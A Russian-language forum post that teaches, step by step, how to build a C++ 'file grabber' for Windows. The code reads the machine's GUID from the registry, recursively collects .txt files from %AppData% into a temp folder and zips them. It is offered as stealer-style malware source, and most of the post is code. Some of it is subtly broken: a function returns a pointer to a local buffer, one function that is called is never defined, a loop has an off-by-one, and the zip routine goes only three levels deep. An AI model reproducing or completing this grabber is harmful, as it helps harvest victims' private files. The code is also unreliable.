Рекурсивный File Grabber на C++

k$$

0x00000001
Joined
Feb 3, 2020
113
Messages
39
Reaction score
Вступление
Для начала, обозначим вспомогательные функции для нашего граббера: получение идентификатора устройства, получения файлов/директорий в папке по маске, генерирование временного пути для копирования найденных файлов, проверка существования файла.

Либу для ZIP берем отсюда - http://infozip.sourceforge.net.

Utils.h
В этом файле мы подключим все необходимые зависимости и обозначим функции:

C++:
#include <string.h>
#include <windows.h>
#include <sstream>
#include <vector>
#include <iostream>
#include "zip.h"
#include "dirent.h" //Прописываю напрямую, т.к. в VS 2008 нет dirent’а.

using namespace std;

void ZipFolder(string name, string path);
extern vector<string> ListDirectory(string path, string mask);
extern char *GetTempPath();
extern BOOL FileExists(char *path);
Utils.cpp
Тут, соответственно, будут тела функций:

HWID достаем из реестра
C++:
char *HWID()
{
    HKEY hKey;
    DWORD cData = 255;
    TCHAR MachineGuid[255] = { '\0' };

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", NULL, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS)
        RegQueryValueEx(hKey, "MachineGuid", NULL, NULL, (LPBYTE)MachineGuid, &cData);
    RegCloseKey(hKey);

    return MachineGuid;
}
Проверка существования файла и получение папки для работы
C++:
char* GetTempPath()
{
    char *tmpPath = (char*)malloc(MAX_PATH);
    strcpy(tmpPath, getenv("Temp"));
    strcat(tmpPath, "\\");
    strcat(tmpPath, HWID());
    return tmpPath;
}

BOOL FileExists(char *path)
{
    struct stat buffer;  
    return (stat (path, &buffer) == 0);
}
Поиск файлов по маске и возвращение в виде вектора


C++:
vector<string> ListDirectory(string path, string mask)
{
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind;
    string sPath;
    vector<string> folders;
    sPath.assign((char*)(path+mask).c_str()); // Mask should be regex (*.txt)
    hFind = FindFirstFile(sPath.data(), &FindFileData);
    do
    {
        folders.push_back(FindFileData.cFileName);
    }
    while (FindNextFile(hFind, &FindFileData));
    FindClose(hFind);
    return folders;
}
Трехшаговое добавление папки в архив (действия помечены комментариями)
C++:
void ZipFolder(string name, string path)
{
    HZIP hz = (HZIP)CreateZip(name.c_str(), 0);
    vector<string> start = ListDirectory(path, "\\*"); // List everything in directory
 
    for(int i = 0; i < start.size(); i++)
    {
        if (start[i] !=  "." && start[i] != "..") //Skip upper dirs
        {
            string realPath = path + "\\" + start[i]; //Full path to file/directory
            ZipAdd(hz, (char*)start[i].c_str(), (char*)realPath.c_str()); //Add to archive if it is file

            vector<string> folders = ListDirectory(realPath, "\\*"); //Go inside the dir
            for(int j = 0; j < folders.size(); j++)
            {
                if (folders[j] !=  "." && folders[j] != "..")
                {
                    string zipPath = start[i] + "\\" + folders[j];
                    realPath = path + "\\" + start[i] + "\\" + folders[j];
                    ZipAdd(hz, (char*)zipPath.c_str(), (char*)realPath.c_str());
                 
                    vector<string> folders2 = ListFoldersInDirectory(realPath); //Go one step deeper
                    for(int k = 0; k < folders2.size(); k++)
                    {
                        if (folders2[k] !=  "." && folders2[k] != "..")
                        {
                            string zipPath = start[i]  + "/" + folders[j] + "/" + folders2[k];
                            realPath = path + "\\" + start[i] + "\\" + folders[j]+  "\\" + folders2[k];
                            ZipAdd(hz, (char*)zipPath.c_str(), (char*)realPath.c_str());
                        }
                    }
                }
            }
        }  
    }
    CloseZip(hz);
}
FileGrabber.cpp
Тут находится наша точка входа (main). В ней нужно прописать создание временных директорий, вызов рекурсивной функции сбора файлов и создание архива из собранных файлов.

Далее, нам необходимо создать рекурсивную функцию, принимающую маску файлов, путь временной папки и путь начала поиска.

Main будет выглядеть следующим образом

C++:
string tempPath = GetTempPath();
CreateDirectory(tempPath.c_str(), NULL);
Grab(getenv("AppData"), "\\*.txt", tempPath); //Grab all .txt files from %AppData%
ZipFolder("test.zip", tempPath); //Archive will be created near the .exe file
return 0;
Рекурсивный сбор файлов (действия помечены комментариями)


C++:
void Grab(string sourcePath, string mask, string destPath)
{
    vector<string> files = ListDirectory(sourcePath, mask); //Get files by mask
    vector<string> folders = ListDirectory(sourcePath, "\\*"); //Get everything in directory

    for(int i = 0; i < folders.size(); i++)
    {
        if(i < files.size() - 1) //Count of files can be less
            if(files[i] !=  "." && files[i] != ".." && FileExists((char*)(sourcePath+"\\"+files[i]).c_str())) //Check if file exists and it's not upper dir
                CopyFile((sourcePath+"\\"+files[i]).c_str(), (destPath+"\\"+files[i]).c_str(), false); //Grab file

        if(FileExists((char*)(sourcePath+"\\"+folders[i]).c_str()) && folders[i] !=  "." && folders[i] != "..") //Check if directory exists and it's not upper dir
            Grab(sourcePath+"\\"+folders[i], mask, destPath); //Go to this directory
    }
}
1581238835790.png
source code: https://github.com/1M50RRY/File-grabber
 
Top